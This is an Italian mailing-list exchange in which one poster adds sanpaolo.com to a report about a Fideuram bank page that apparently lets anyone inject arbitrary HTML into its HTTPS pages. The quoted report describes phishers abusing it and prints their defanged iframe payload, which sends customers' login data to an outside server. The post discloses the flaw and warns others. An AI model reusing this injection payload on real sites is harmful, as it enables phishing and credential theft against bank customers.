Ciao,
Vorrei far notare a tutti che fideuram e sanpaolo non solo
fanno parte dello stesso gruppo bancario.

E' quasi elementare pensare che condividano la stessa base codice,
ed è triviale verificarlo.

difatti, da aggiungere all'elenco c'è anche l'installazione presente
su sanpaolo.com

Come Marco mi ha fatto notare, tale segnalazione è molto triviale,
e come ci sono arrivato io, possono arrivarci tutti.

My two cents (no, questa vale anche un cent solo)

Alessandro


Marco d'Itri ha scritto:
> Avevo segnalato la cosa un mese fa a tutti i contatti che avevo trovato
> ma non ho avuto risposta, oggi ho tentato altre strade per contattarli
> ma visto che visto che nel frattempo è intervenuta Spamhaus non c'è più
> motivo di cercare di tenere la cosa riservata...
> Se qualcuno conosce qualcuno che potrebbe capire la situazione magari lo
> avverta.
>
> http://www.spamhaus.org/sbl/sbl.lasso?query=SBL62371
>
> In pratica il sito ha una funzione accessibile pubblicamente per
> inserire HTML arbitrario all'interno delle sue pagine HTTPS, XSS by
> design. Chiunque abbia minime conoscenze di programmazione può intuire
> come funziona guardando l'URL...
>
> Questa vulnerabilità viene attivamente sfruttata dalla solita banda di
> phisher "HELO User" per inserire un iframe che punta al loro sito e
> permette di raccogliere i dati inseriti dai clienti, che ragionevolmente
> non si aspettano che il sito della propria banca correttamente
> verificato con SSL in realtà invii i dati inseriti a un server
> taiwanese:
>
> <I F RAME SRC="ht tp://su n.c oma ll.t w/
>  script/LoginServlet.php?function=login" width=800 height=800
>  scrolling="no" frameborder="0"></IFRAME>
>
> Anche il sito dell'iframe è sempre lo stesso da un mese.
>
>   

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